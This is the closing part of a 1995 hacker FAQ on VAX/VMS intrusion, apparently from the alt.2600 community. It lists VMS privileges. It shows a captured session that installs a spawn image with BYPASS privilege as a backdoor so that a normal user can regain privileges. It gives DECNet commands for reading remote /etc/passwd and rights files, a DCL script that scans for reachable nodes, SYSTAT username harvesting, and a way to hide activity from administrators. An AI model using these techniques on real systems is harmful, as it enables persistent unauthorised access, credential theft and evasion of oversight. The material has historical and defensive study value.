  1569. EXQUOTA   -     Allows the space taken by the user's files on a given
  1570.         disk volumes to exceed any usage quotas set for the user 
  1571.         (as determined by UIC) on those volumes. 
  1572.  
  1573. GROUP     -     Allows the user's process to affect other processes in its
  1574.         own group.
  1575.  
  1576. GRPNAME   -     Lets the user's process bypass  access controls
  1577.         and insert names into (and delete from) the logical table
  1578.         of the group to which the process belongs by the use of the
  1579.         Create Logical Bane and Delete Logical Name system services.
  1580.  
  1581. GRPPRV    -     When the process's group matches the group of the object
  1582.         owner,  the GRPPRV privilege gives a process the access rights
  1583.         provided by the object's system protection field.  GRPPRV
  1584.         also lets a process change the protection or the 
  1585.         ownership of any object whose owner group matches the
  1586.         process's group by using the DCL commands SET SECURITY
  1587.  
  1588. IMPORT    -     Lets a process manipulate mandatory access controls.  The
  1589.         privilege lets a process mount unlabeled tape volumes.  
  1590.         This privilege is reserved for enhanced security products
  1591.         like SEVMS. 
  1592.  
  1593. LOG_IO    -     Lets the user's process execute the Queue I/O request
  1594.         ($QIO) system service to perform logical-level I/O
  1595.         operations.
  1596.  
  1597. MOUNT     -     Lets the user's process execute the mount volume QIO
  1598.         function. 
  1599.  
  1600. NETMBX    -     lets a process perform functions related to a DECNet
  1601.         Computer Network. 
  1602.  
  1603. OPER      -     Allows a process to use the Operator Communications 
  1604.         Manager (OPCOM) process to reply to user's request, 
  1605.         to broadcast messages to all terminals logged in,  to 
  1606.         designate terminals as operator terminals and specify
  1607.         the types of messages to be displayed to these operator's
  1608.         terminals,  and to initialize and control the log file
  1609.         of operator's messages. 
  1610.  
  1611. PFNMAP    -     Lets a user's process create and map page frame number
  1612.         (PFN) global sections to specific pages of physical 
  1613.         memory or I/O device registers,  no matter who is using
  1614.         the pages or registers. 
  1615.  
  1616. PHY_IO    -     Lets the user's process execute the Queue I/O request
  1617.         ($QUI) system service to perform physical-level I/O
  1618.         operations. 
  1619.  
  1620. PRMCEB    -     Lets the user's process create or delete a permanent
  1621.         common even flag cluster by executing the Associate 
  1622.         Common Event Flag Cluster. 
  1623.  
  1624. PRMGBL    -     Lets the user's process create or delete permanent 
  1625.         global section by executing the Create and Map Section
  1626.         or Delete Global Section system service.  In addition
  1627.         ,  a process with this privilege (plus CMKRNL and SYSGLB
  1628.         privileges) can use the Install utility (INSTALL)
  1629.  
  1630. PRMMBX    -     Lets user's process create or delete permanent mailbox
  1631.         by the Create Mailbox and Assign Channel system service
  1632.         or the DElete Mailbox system service.   Mailboxes are
  1633.         buffers in virtual memory that are treated as if they were
  1634.         record oriented I/O devices.  A mailbox is used for
  1635.         general interprocess communications. 
  1636.  
  1637. PSWAPM    -     Lets the user's process control whether is can be 
  1638.         swapped out of the balance set by executing the 
  1639.         Set Process Swap Mode system service. 
  1640.  
  1641. READALL   -     Lets the process bypass existing restrictions that would
  1642.         otherwise prevent the process from reading an object. 
  1643.         Unlike the BYPASS privilege which will permits writing and
  1644.         deleting,  READALL permits only the reading of objects
  1645.         and allow updating of such backup-related file
  1646.         characteristics as the backup date. 
  1647.  
  1648. SECURITY  -     Lets a process perform security related functions such
  1649.         as modifying the system password with the DCL command
  1650.         SET PASSWORD /SYSTEM or modifying the system alarm 
  1651.         and auditing settings using the DCL command 
  1652.         SET AUDIT.  
  1653.  
  1654. SETPRV    -     Lets user's create process whose privileges are greater
  1655.         than its own.   With this privilege,  a user can obtain
  1656.         any other privilege via the DCL command "SET PROCESS/
  1657.         PRIV"
  1658.  
  1659. SHARE     -     Lets process assign channels to devices allocated to other
  1660.         processes or to a nonshared device the Assign I/O Channel
  1661.         system service. 
  1662.  
  1663. SHMEM     -     Lets the user's process create global sections and 
  1664.         mailboxes (permanent or temporary_ in memory shared by
  1665.         multiple processors if the process also has appropriate
  1666.         PRMGBL,  PRMMBX,  SYSGBL,  and TMPMBX privileges. 
  1667.  
  1668. SYSGBL    -     Lets user;s create or delete system global sections by
  1669.         executing the Create and Map Sections or the Delete
  1670.         Global Section system services.  With this privilege
  1671.         and CMKRNL and PRMGBL,  the Install command (INSTALL)
  1672.         can be used. 
  1673.  
  1674. SYSNAM    -     Let's user's process bypass discrepancy access
  1675.         controls and insert names into the system logical
  1676.         name table and delete names from that table.  A
  1677.         process with this privilege can use the DCL commands
  1678.         ASSIGN and DEFINE to add names to the system logical
  1679.         in the user or executive mode and can use the DEASSIGN
  1680.         command in either mode to delete names from the 
  1681.         table. 
  1682.  
  1683. SYSPRV    -     Lets a process access security objects by the system
  1684.         protection field and also read and modify the owner
  1685.         (UIC),  the UIC-based protection code,  and the ACL 
  1686.         of and object.   Any processes with this privilege
  1687.         can add,  modify,  or delete entries in the system
  1688.         user authorization file (SYSUAF.DAT)
  1689.  
  1690. TMPMBX    -     Lets user's create process create a temporary mailbox
  1691.         by executing the Create Mailbox and Assign Channel. 
  1692.         
  1693. UPGRADE   -     Lets a process manipulate access controls.  This privilege
  1694.         is reserved for enhanced security products like SEVMS.
  1695.  
  1696. VOLPRO    -     Lets user's processes:
  1697.             o Initialize a previously used volume with an owner
  1698.               UIC different from the user's own UIC.
  1699.             o Override the expiration date on a tape or
  1700.               disk owned by another user. 
  1701.             o Use the ////FOREIGN qualifier to mount a Files-11
  1702.               volume owned by another user.
  1703.             o Override the owner UIC protection of volume. 
  1704.  
  1705. WORLD     -     Lets user's process affect (suspend, resume, delete, 
  1706.         set priority, wake,  etc) other processes both inside
  1707.         and outside its group.
  1708.  
  1709.  
  1710.                 - Taken Mostly From the, "OpenVMS VAX
  1711.                   System Security" (V6.0) 
  1712.  
  1713.  
  1714.  
  1715. 2.      "How can I make a SUID Shell in VMS".... 
  1716.  
  1717.     Simple...  You can't.   Privileges are handled in a much different
  1718.     method than on Unix (see "How are user privileges setup").  You
  1719.     can make a program (image) that when executed,  the process
  1720.     of that image gains the privileges that it was "installed"
  1721.     with.    For example,  if you write a program that needs read access
  1722.     to the SYSUAF.DAT you *could* make SYSUAF.DAT world readable 
  1723.     (if you are on a privileged account,  of course)  but this 
  1724.     would be very,  very unwise.    Another method would be to 
  1725.     "INSTALL" the executable image and give it READALL privileges, 
  1726.     so that when a user's processes calls your programs,  that programs
  1727.     process (the image running) gets READALL privileges.   Then that
  1728.     process would be able to read the SYSUAF.DAT,   but the user's
  1729.     process would not.  
  1730.  
  1731.     With this in mind,   it is possible to create a senerio similar
  1732.     to that of a "SUID Shell" (but without the shell).  The idea
  1733.     is to give the privileges (that you want to keep ahold of) 
  1734.     on a program that does nothing more than make a call to 
  1735.     LIB$SPAWN.   The idea is to write a program that will do nothing
  1736.     more than create another process (that drops you to DCL)
  1737.     via LIB$SPAWN,  and using the VMS "INSTALL" utility,  give it
  1738.     the privileges that you wish that process to have.  There are
  1739.     several downfalls to this.  To accomplish this,  you would
  1740.     need CMKRNL privileges yourself (your process).  So your process
  1741.     would already need certain privileges to pull this off. The idea 
  1742.     here is in the event that the user has obtained a "privileged
  1743.     account",  and wishes to remain privileged,  he/she could 
  1744.     install a image which could be called by a normal (non-privileged)
  1745.     user in which he/she could obtain the system privileges again. 
  1746.     
  1747.     Below is a sample session capture of me installing a privileged
  1748.     image.   The privilege I gave this image is "BYPASS" (Bypass
  1749.     all security features,  and the ability to modify SYSUAF.DAT
  1750.     and RIGHTSLIST.DAT)
  1751.  
  1752.  
  1753. Trying...
  1754. Connected to UpperDck
  1755. Escape character is '^]'.
  1756.  
  1757.                Upper-Dck VMS Development System 
  1758.                  
  1759.  
  1760.  
  1761. Username: SYSTEM   ! Login to our privileged account
  1762. Password: 
  1763.     Welcome to VAX/VMS version V5.2 on node UPPERDCK
  1764.     Last interactive login on Friday,  6-JAN-1995 07:17
  1765.     Last non-interactive login on Thursday, 22-DEC-1994 15:51
  1766.  
  1767.  User= SYSTEM       Directory= [SYSMGR]       UIC=  [1,4]
  1768.     Terminal= NTY5:       6-JAN-1995 07:19:01.00
  1769.  
  1770. sysm>basic      ! I am going to use VMS BASIC,  but use anything you want
  1771.  
  1772. VAX BASIC V2.3
  1773.  
  1774.  
  1775. Ready
  1776.  
  1777. 10 external long function lib$spawn ! Call "SPAWN" library.  The idea with this
  1778.    declare long xspawn              ! program is to give us another "spawned"
  1779.    xspawn=lib$spawn()               ! process. 
  1780.  
  1781. save mytrap             ! Save this program
  1782. Ready
  1783.  
  1784. exit                    ! and exit the VMS BASIC. 
  1785. sysm>basic mytrap*.*    ! Just to show our file. 
  1786.  
  1787. Directory SYS$SYSROOT:[SYSMGR]
  1788.  
  1789. MYTRAP.BAS;1        
  1790.  
  1791. Total of 1 file.
  1792. sysm>basic mytrap       ! This will compile and make our object code
  1793. sysm>dir mytrap*.*      ! To show our object code. 
  1794.  
  1795. Directory SYS$SYSROOT:[SYSMGR]
  1796.  
  1797. MYTRAP.BAS;1        MYTRAP.OBJ;1        
  1798.  
  1799. Total of 2 files.
  1800.  
  1801. sysm>link mytrap/notraceback  ! Link it, with notraceback (for priv reasons)
  1802. sysm>dir mytrap*.*            ! To show our executeable code. 
  1803.  
  1804. Directory SYS$SYSROOT:[SYSMGR]
  1805.  
  1806. MYTRAP.BAS;1        MYTRAP.EXE;1        MYTRAP.OBJ;1        
  1807.  
  1808. Total of 3 files.
  1809.  
  1810. sysm>copy mytrap.exe sys$system:  ! copy it to sys$system: [this is silly] 
  1811. sysm>install                      ! Run install to setup priv's on our imagine.
  1812. INSTALL> create mytrap/priv=(bypass) ! Give "mytrap" bypass priv's
  1813. INSTALL> list mytrap/full            ! Just to show off the image priv's
  1814.  
  1815. DISK$VAXVMSRL5:<SYS6.SYSEXE>.EXE
  1816.    MYTRAP;2                       Prv 
  1817.     Entry access count         = 0
  1818.     Privileges = BYPASS 
  1819.  
  1820. INSTALL> exit                    ! Get the hell out of here.
  1821. sysm>dir sys$system:mytrap.exe   ! And just to show its still there
  1822.  
  1823. Directory SYS$SYSROOT:[SYSEXE]
  1824.  
  1825. MYTRAP.EXE;2        MYTRAP.EXE;1        
  1826.  
  1827. Total of 2 files.
  1828.  
  1829. sysm>dir sys$system:mytrap.exe;2 /full ! Notice "world" protections...
  1830.  
  1831. Directory SYS$SYSROOT:[SYSEXE]
  1832.  
  1833. MYTRAP.EXE;2                  File ID:  (43314,33,0)       
  1834. Size:            4/6          Owner:    [1,4]
  1835. Created:   6-JAN-1995 07:20:26.35
  1836. Revised:   6-JAN-1995 07:20:41.54 (2)
  1837. Expires:   <None specified>
  1838. Backup:    <No backup recorded>
  1839. File organization:  Sequential
  1840. File attributes:    Allocation: 6, Extend: 0, Global buffer count: 0
  1841.             No version limit, Contiguous best try
  1842. Record format:      Fixed length 512 byte records
  1843. Record attributes:  None
  1844. RMS attributes:     None
  1845. Journaling enabled: None
  1846. File protection:    System:RWED, Owner:RWED, Group:RE, World:
  1847. Access Cntrl List:  None
  1848.  
  1849. sysm>set file sys$system:mytrap.exe /protection=(w:re) ! because world cant
  1850. sysm>log                                               ! read/execute. Logout. 
  1851.  
  1852.   SYSTEM       logged out at  6-JAN-1995 07:42:02.55
  1853. Connection closed by foreign host.
  1854.  
  1855.     [Now,  we make a new connection to the system to test our ]
  1856.     [ "MYTRAP.EXE" with the image priv's attached to it       ]
  1857.  
  1858. Trying...
  1859. Connected to UpperDck.
  1860. Escape character is '^]'.
  1861.  
  1862.                Upper-Dck VMS Development System 
  1863.                  
  1864.  
  1865. Username: JOEBOB        ! Now, log as a normal user. 
  1866. Password: 
  1867.     Welcome to VAX/VMS version V5.2 on node UPPERDCK
  1868.     Last interactive login on Friday,  6-JAN-1995 07:14
  1869.  
  1870.  User= JOEBOB        Directory= [UPPERDCK]       UIC=  [130,163]
  1871.     Terminal= NTY6:       6-JAN-1995 07:42:12.00
  1872.  
  1873. UPDCK> show process/priv ! To prove that we have normal user priv's
  1874.  
  1875.  6-JAN-1995 07:42:27.01   User: JOEBOB           Process ID:   0000010F
  1876.               Node: UPPERDCK         Process name: "JOEBOB"
  1877.  
  1878. Process privileges:
  1879.  TMPMBX               may create temporary mailbox
  1880.  NETMBX               may create network device
  1881.  
  1882. Process rights identifiers:
  1883.  INTERACTIVE
  1884.  LOCAL
  1885.  SYS$NODE_UPPERDCK
  1886. UPDCK> set proc/priv=bypass ! To prove I can't enabled "BYPASS" priv's
  1887. %SYSTEM-W-NOTALLPRIV, not all requested privileges authorized
  1888. UPDCK> mcr mytrap           ! Run our little "privledge provider"
  1889. UPDCK> show process/priv    ! To show our priv's after we exec. MYTRAP.EXE
  1890.                 ! note that we are spawned (see PID and Proc. Name)
  1891.  
  1892.  6-JAN-1995 07:42:46.05   User: JOEBOB           Process ID:   00000110
  1893.               Node: UPPERDCK         Process name: "JOJBOB_1"
  1894.  
  1895. Process privileges:
  1896.  TMPMBX               may create temporary mailbox
  1897.  NETMBX               may create network device
  1898.  
  1899. Process rights identifiers:
  1900.  INTERACTIVE
  1901.  LOCAL
  1902.  SYS$NODE_UPPERDCK
  1903. UPDCK> set process/priv=bypass ! Note,  no error when we do this now. 
  1904. UPDCK> show process/priv       ! To prove that we have gained BYPASS
  1905.  
  1906.  6-JAN-1995 07:42:53.37   User: JOEBOB           Process ID:   00000110
  1907.               Node: UPPERDCK         Process name: "JOEBOB_1"
  1908.  
  1909. Process privileges:
  1910.  TMPMBX               may create temporary mailbox
  1911.  NETMBX               may create network device
  1912.  BYPASS               bypasses UIC checking 
  1913.  
  1914.  
  1915. Process rights identifiers:
  1916.  INTERACTIVE
  1917.  LOCAL
  1918.  SYS$NODE_UPPERDCK
  1919. UPDCK> logout ! I can pretty much do anything now.... Lets stop this subprocess
  1920.   Process JOEBOB_1 logged out at  6-JAN-1995 07:42:59.01
  1921. UPDCK> logout ! logout completely
  1922.  
  1923.   JOEBOB       logged out at  6-JAN-1995 07:43:05.11
  1924. Connection closed by foreign host.
  1925.     
  1926.  
  1927.          -     Using DEC's Network to your advantage     -
  1928.  
  1929.  
  1930. 1.      "What is a DECNet?"
  1931.  
  1932. "DECNet is a collective name for the family of communications products
  1933. (software and hardware) that allow DIGITAL operating systems to participate
  1934. in a network.  
  1935.  
  1936. "A DECNet network links computers into flexible configurations to exchange
  1937. information,  share resources,  and perform distributed processing.  DECNet
  1938. distribution processing capabitlites also information to be originated
  1939. anywhere in the network."
  1940.  
  1941.         - VMS Version 5.0 DECnet "Guide to DECNet - VAX Networking"
  1942.  
  1943.     DECNet can support a minimum of 2 nodes and up to 64,000 nodes, 
  1944.     and can support multiple OS's along with various LAN/WAN
  1945.     (Using PSI,  and DECNet system can be supported on packet 
  1946.     switching enviroments (like Tymnet and Sprintnet)) and  
  1947.     operating environments. (VMS,   Ultrix,  RSX, and with the correct
  1948.     hardware,  IBM PC's,  VAXmate's, etc).  
  1949.  
  1950.     DECNet allows easy access to information from system to system,
  1951.     assuming you have the NETMBX privilege.
  1952.  
  1953.     To get a list of DECNet objects, "$MCR NCP SHOW KNOWN OBJECTS".
  1954.  
  1955.  
  1956. 2.      "This is great,  what does it mean to me."
  1957.  
  1958.     You can use DECNet to grab information/files/programs and use
  1959.     them to your own advantage (granted that security has not 
  1960.     been completely implemented... which is usually the case
  1961.     on a vanilla/default install)
  1962.  
  1963.     For instance,  if a intruder where to break into a system
  1964.     which supported a DECNet,  he/she might be able to access files on
  1965.     a remote system/nodes of that DECNet.  As stated,   DECNets
  1966.     can range from local machines in that area (LAN) or 
  1967.     DECNet's can stretch across the world.  
  1968.  
  1969. 3.      "How would I get to that information on a remote node?"
  1970.  
  1971.     All from DCL,  accessing the default, unprived DECNet or possibly
  1972.     prived proxy account on the remote node, using commands like
  1973.     "DIRECTORY",  "COPY", "TYPE",  etc.   Usually by adding in the node
  1974.     name at the being of the command.  For example
  1975.  
  1976. $ DIR NODE::            ! Example format.
  1977.  
  1978.     or 
  1979.  
  1980. $ DIR NODE::SYS$COMMON:[SYSEXE]  ! Shows logical SYS$COMMON and the SYSEXE
  1981.                  ! Directory on the remote node. 
  1982.  
  1983.     or
  1984.  
  1985. $ COPY NODE::DISK1:[BOB]SECRET.TXT []  ! The "[]" means "wherever i am"
  1986.  
  1987.     Remember DECNet object logs are being kept!
  1988.  
  1989. 4.      "What if I want to connect and use the nodes interactively?". 
  1990.  
  1991.     One of two ways.  Either way requires NETMBX privilege. Try to
  1992.     "SET HOST [NODENAME]".  If that fails, 
  1993.     try to use NCP (Network Control Program),  like this.....
  1994.  
  1995. $ MCR NCP CONNECT NODE [NODENAME]
  1996.  
  1997. 5.      "Well, Gee,  thats wonderful.  How do I find connectable nodes
  1998.     that are on the DECNet"
  1999.  
  2000.     Once again, this information can be found using the NCP (
  2001.     or via a "SHOW NETWORK") command. "SHOW NETWORK" won't work  
  2002.     if you are on a non-routing node. You might not get a 
  2003.     *complete* listing,  because the host you are on might not 
  2004.     know all DECNet nodes,  but it will at least get you hoping 
  2005.     around on the DECNet.  This list can be obtain via executing.....
  2006.  
  2007. $ MCP NCP SHOW KNOWN NODE (SYS$SYSTEM:NETNODE_LOCAL.DAT,
  2008.                SYS$SYSTEM:NETNODE_REMOTE.DAT)
  2009.  
  2010.     This will dump a list.  You can sort though the information 
  2011.     using the NCP connect command,  and see what all sorts 
  2012.     of things you run into (Xyplex/DECServers,  Other VMS Machines, 
  2013.     SNA Gateway controls,  etc, etc).  If you are only interested
  2014.     in machine that you can get file information on,  you can 
  2015.     us the following command file to find nodes that you can
  2016.     use. 
  2017.     
  2018.  
  2019.  
  2020. $! DECNETFIND  Version 1.0
  2021. $! Coded By The Beaver
  2022. $! Jan 5th,  1995
  2023. $!
  2024. $! The intent of this code is to scan for remote,  connectable nodes that
  2025. $! the VMS host knows about (Via NCP) and build a list.  Once this list
  2026. $! has been created,  we check to see if the remote machine is indeed
  2027. $! A> VMS (Later rev. will include Ultrix/OSF(?)) 2> Can it be directly
  2028. $! accessed via the DECNet 3> Can we read file systems on the remote node. 
  2029. $! Node that are "successful" are stored away.  This prevents mucho 
  2030. $! time consuming scanning by hand.  
  2031. $!
  2032. $!
  2033. $ on error then goto err                        ! In case of Boo-Boo
  2034. $ say :== write sys$output
  2035. $ if p1 .eqs. ""                                ! Yes, output file helps 
  2036. $       then
  2037. $       say "DECNet VMS Node Finder Version 1.0                   1995"
  2038. $       say "Coded By The Beaver"
  2039. $       say ""
  2040. $       say "Usage:"
  2041. $       say "DECNETFIND [Outfile]"
  2042. $       exit
  2043. $       endif
  2044. $!
  2045. $ say "Building Node List Via NCP....(Working)"
  2046. $!
  2047. $ mcr ncp show known nodes to nodes.out  ! Fire up NCP and dump nodeslist
  2048. $ open/read in nodes.out                 ! Open to read
  2049. $ open/write nodelist 'p1'               ! "Success" Storage area. 
  2050. $ on severe_error then loop1             ! So things dont die on "dir ::"'s
  2051. $!
  2052. $ loop1:
  2053. $ read/end = end in line
  2054. $       name=f$element(0,")", f$element(1, "(", line)) ! grab a nodename
  2055. $       if name .gts. "(" 
  2056. $         then  
  2057. $         say "**************************************************************"
  2058. $         say "Nodename: "+name
  2059. $         say ""
  2060. $         dir 'name'::          ! See if we can get to it via a DECNet DIR::
  2061. $         if $severity .nes "1"
  2062. $               then
  2063. $               say "Status:  Node Unreachable Via DECNet Dir::"
  2064. $               else
  2065. $               say "Status:  Found Good Node. [Logged]"
  2066. $               write nodelist name             ! Log it.
  2067. $               endif
  2068. $ endif
  2069. $ goto loop1
  2070. $ err:
  2071. $ say "Ouch.  There has been a error!"
  2072. $ end:
  2073. $ close in
  2074. $ close nodelist                ! Close up and leave,  exit stage
  2075. $ delete nodes.out;*            ! right
  2076. $ say "Complete!"
  2077. $ exit
  2078.  
  2079.  
  2080.     "That works great,  but I ran into a Unix (Ultrix) machine,  and 
  2081.     when I do a 'DIR NODENAME::' it only gives me some jerk-off's 
  2082.     directory.   Is there anyway I can grab files off the remote machine 
  2083.     (Ultrix) and directory listings?"
  2084.  
  2085.     Once again,  no problem.   Format the command like this:
  2086.  
  2087. $ DIR NODE::"/etc"      ! will give remote nodes /etc directory
  2088.  
  2089.     Or to grab the /etc/passwd file on the remote node,  try....
  2090.  
  2091. $ TYPE NODE::"/etc/passwd"   ! And open a capture buffer. 
  2092.  
  2093.     "Can I grab a VMS rights list?"
  2094.  
  2095. $ COPY NODE::"SYS$SYSTEM:RIGHTSLIST.DAT" RIGHTSLIST.DAT
  2096.  
  2097. 6.  "Can't DECNet be protected more against this generic attack?"
  2098.  
  2099.     Sure,  by disabling the DECNet account and by watching any
  2100.     proxy accounts that may be set up (probably not a good idea to
  2101.     have a proxy into a privileged account). Unless a proxy account is
  2102.     set up (SYS$SYSTEM:NETPROXY.DAT), users must supply a password when
  2103.     attempting to do network operations like above.  Proxy logins are
  2104.     formatted below:
  2105.  
  2106.     (This example is using the DCL COPY command)
  2107.  
  2108.     COPY remotenode"proxyaccount"::filename filename
  2109.  
  2110.     for example, 
  2111.  
  2112.     COPY ADAM"BOB"::SECURITY.TXT MYSECURITY.TXT
  2113.  
  2114.     (BOB - The Proxy login name)
  2115.  
  2116.     However,  in a vannila VMS (IE - Default installation), 
  2117.     proxy logins are not enabled. 
  2118.  
  2119. 7.      "Are proxy logins logged.. Can I write a routine that will
  2120.     attempt proxy accounts to break into remote machines?"
  2121.  
  2122.     You bet that proxy logins are logged.   Repeating invalid 
  2123.     attempts will inform the administrations that a "NETWORK
  2124.     BREAK IN" is in effect (via the OPCOM process). 
  2125.  
  2126. 8.      Sneak Routing
  2127.     
  2128.     You can access a machine you normally couldn't by piggybacking
  2129.     over a machine(that can get to the machine you can't) you can get to
  2130.     through the DECNet account. This is called "Poor Man's Routing". It
  2131.     is preventable by the sys admin on the piggyback machine.
  2132.  
  2133.         -       TCP/IP Networked Machines        - 
  2134.  
  2135.  
  2136. 1.  "I have found a remote VMS machine on a TCP/IP network (I.E. 
  2137.      the internet).   I have tried to finger the remote system in
  2138.      order to start collecting usernames,   I get a 'connection
  2139.      refused'.... Now what?"
  2140.  
  2141.     Connect to the SYSTAT port (Port 11).  This will give jobs
  2142.     currently running on the system.  More than likely,  this
  2143.     port has been left open.  With this in mind,  you can 
  2144.     sort though all the jobs and grab usernames,  while excluding
  2145.     system jobs (I.E - SWAPPER,  ERRFMT,  AUDIT_SERVER, 
  2146.     JOB_CONTROL,  NETACP,  EVL,  REMACP,  SYMBIONT*,  
  2147.     XYP_SERVER,   OPCOM,  INET_SERVERS, etc....etc).  
  2148.  
  2149.     Also,  I find one great trick is to look for "Student" type
  2150.     accounts.  That is,  accounts that appear to be repetitive. 
  2151.     You can then predict possible usernames. 
  2152.  
  2153.     The above can be accomplisted by using the below command
  2154.     (In most cases):
  2155.  
  2156. $ TELNET SITE.ADDRESS.COM /PORT=11
  2157.  
  2158.     Try other ports as well.  Netstat is port 15.
  2159.  
  2160. 2.      "On Unix machines,  I can make a symbolic link to a 'questionable'
  2161.     command,   so that is appears that I am doing one thing when 
  2162.     I am really doing another (Or copying and renaming the command). 
  2163.     Is there anyway I can make it appear that I am doing something 
  2164.     that I am not?". 
  2165.  
  2166.     When the command "FINGER" is issued,  a user/administrator
  2167.     can see what image is currently being executed by a particular
  2168.     user.   For example sake,  lets say you want to play with 
  2169.     NCP but you know that if the administrators see you in NCP, 
  2170.     they will get rather irate,  and kick you off the system. 
  2171.     You can make it appear that you are doing something else 
  2172.     by:
  2173.  
  2174.     a>  Copying the image,  renaming it,  and running it. [which
  2175.         may or may not work]. 
  2176.  
  2177. 3.      TCPDUMP
  2178.  
  2179.     Multinet(and probably other TCP/IP implementations on VMS) provides
  2180.     the sniffer program TCPDUMP, but of course you must be privileged
  2181.     to use it.
  2182.  
  2183.  
  2184. Final Notes: 
  2185.  
  2186.     This FAQ is far from complete,  and will remain in its "beta"
  2187.     stages for sometime.  
  2188.  
  2189.     I got alot of mail from alot of people. 
  2190.  
  2191.     Thanks to Shadow Hacker,   Risc,   Trouser,  Spoon,  and 
  2192.     all the boys at The Upper-Deck. 
  2193.  
  2194.     Bitwarrier for interesting conversation (besides terminal
  2195.     spoofing),  the ton of people that mailed me.  Thanks.
  2196.  
  2197.     - Things that need to be added/updates:
  2198.  
  2199.       Identifying VMS machines.....
  2200.       Information on the OPCOM process....
  2201.  
  2202.     - What we are looking for:
  2203.  
  2204.       Ways of intercepting VMS communications(through mailboxes, etc.)
  2205.  
  2206.       Passing commands via VMS mail.
  2207.  
  2208.       Disk scavenging programs(along the lines of an "UNDELETE")
  2209.  
  2210.       Xterm,Motif security
  2211.  
  2212.       Various methods of machine spoofing(via TCP/IP,LAT,etc.)
  2213.  
  2214.       File hacks with 'dump', 'patch', VFE, etc.
  2215.  
  2216.       Anything else we might have missed.
  2217.  
  2218.     beaver@upperdck.blkbox.com
  2219.  
  2220.     "It ain't done,  but hey... It a fucking start......"
  2221.  
  2222.  
  2223. -- 
  2224. /*  Will Spencer / Voyager        :  The advancement and diffusion  */
  2225. /*  Member: TNO, The New Order    :  of knowledge is the only       */
  2226. /*  alt.2600/#hack FAQ Editor     :  guardian of true liberty.      */
  2227. /*  Writer, poet, hacker, human   :               -- James Madison  */
  2228.  
  2229.